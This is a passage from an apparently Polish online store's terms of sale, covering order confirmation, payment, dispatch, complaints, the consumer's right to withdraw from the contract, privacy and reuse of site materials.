2. A condition for the fulfilment of an order is that the Customer supply data making it possible to verify the Customer and the recipient of the goods. The Store confirms acceptance of an order by e-mail or telephone. The Store has the right to refuse to accept an order, to restrict the method of payment or demand an advance payment, if the order gives rise to justified doubts as to the accuracy and reliability of the data supplied or the method of payment.
3. The parties are bound by the information given on the Store's website next to the purchased product at the time of placement of the order, in particular the price, product description, product features, elements included in the set, and time and method of delivery.
4. The information on the Store's website does not constitute an offer within the meaning of the Polish Civil Code. When placing an order, the Customer makes an offer to purchase the specified goods. The contract of sale is concluded when the Order is confirmed by the Customer by clicking the confirmation link in the e-mail sent to the Customer by the Store.
1. You use any method of payment available on "Methods of payments" tab on the store website.
2. Shipping prices are specified in the delivery price list.
3. The giving up of goods is conditional on payment for the goods and shipping.
Dispatch of goods
1. The Store sends ordered goods through delivery firms (e.g. the Polish Post Office or a courier firm).
2. In case of a payment card payment a lead time shall be counted from the date of a positive authorization of transaction by bank.
3. In case of payment by any method other than cash on delivery, the time until dispatch is lengthened by the period between the placement of the order and the date on which the due amount is credited to the Store's bank account.
Customer complaints
1. A customer complaint is accepted on the basis of the Customer's presentation of proof of purchase of the goods (till receipt or VAT invoice).
2. If the goods are not in accordance with the contract, the Customer should send the defective goods back to the Store together with a description of the defects.
3. The Store will take a decision on a Customer complaint within 14 working days of the time when the goods are returned together with a description of the defects. If verification of the defects requires an expert's opinion or representative of the manufacturer of the goods, the time available for the Store to take a decision is extended by the time taken for the Store to obtain such an opinion.
4. If the resolution of a justified complaint involves sending a new product to the Customer or remedying the defects, the costs of delivery will be paid by the Store.
5. Individual settings of the Customer's computer and monitor causing erroneous or distorted display of information about goods (e.g. colours) cannot form the basis for a complaint.
Right to renounce the contract
1. Pursuant to the Act of 2 March 2000 on protection of certain rights of consumers and on liability for damage done by hazardous products, the Customer has the right to renounce the contract.
2. The right to renounce the contract is effective if the Customer makes a declaration of renunciation to the Store within 10 days of collecting the goods.
3. The Customer shall return the goods to the Store within 14 days of making the declaration of renunciation of the contract. The returned goods should be intact, meaning in particular that they should be complete, in the factory packaging, without signs of use. The costs of delivery are paid by the Customer.
4. Within 3 working days of receiving the package, the Store will check the state of the returned product.
5. Within 7 days of checking the goods, the Store will repay to the Customer the amount paid less costs of fulfilling the order. The Customer should indicate the bank account number to which the repaid amount is to be transferred.
6. Should the Customer breach the conditions laid down in paragraphs 2 and 3 above, the declaration of renunciation will be void, the goods are not returnable and the Store will not refund the paid amount to the Customer.
7. The Customer does not have the right to renounce the contract in the case laid down in Article 10(3) of the Act specified in paragraph 1 above, i.e. in relation to:
a) provision of services which were commenced, with the Customer's consent, prior to the elapse of the period allowed for renunciation (this applies to cases of service provision, not sale of goods),
b) audio and visual recordings and those stored on computer data media after the Customer has removed their original packaging,
c) contracts relating to consideration for which the price or remuneration depends solely on the movement of prices on a financial market,
d) consideration having properties specified by the Customer in his or her order or with a close connection to the Customer's person,
e) consideration which in view of its nature cannot be returned or is subject to rapid deterioration,
f) delivery of press publications,
g) services relating to gambling.
Protection of privacy
1. When placing an order the Customer consents to the processing of his or her personal data solely for the purpose of fulfilment of the order.
2. The Customer may also give separate consent to receive advertising and promotional materials, including a trade newsletter, from the Store.
3. The Customer has the right to inspect and correct his or her data and to demand its deletion.
Intellectual property
It is not permissible to use any materials published on the Store's website (including photographs and descriptions of goods) without the Store's written consent.
Effective date and changes to the Rules
1. The Rules shall come into effect as of the day on which they are published on the Store's website.
2. The Store reserves the right to make changes to the Rules, which shall come into effect as of the day on which they are published on the Store's website. Contracts concluded prior to a change to the Rules shall be subject to the version of the Rules effective on the date on which the Customer placed the Order.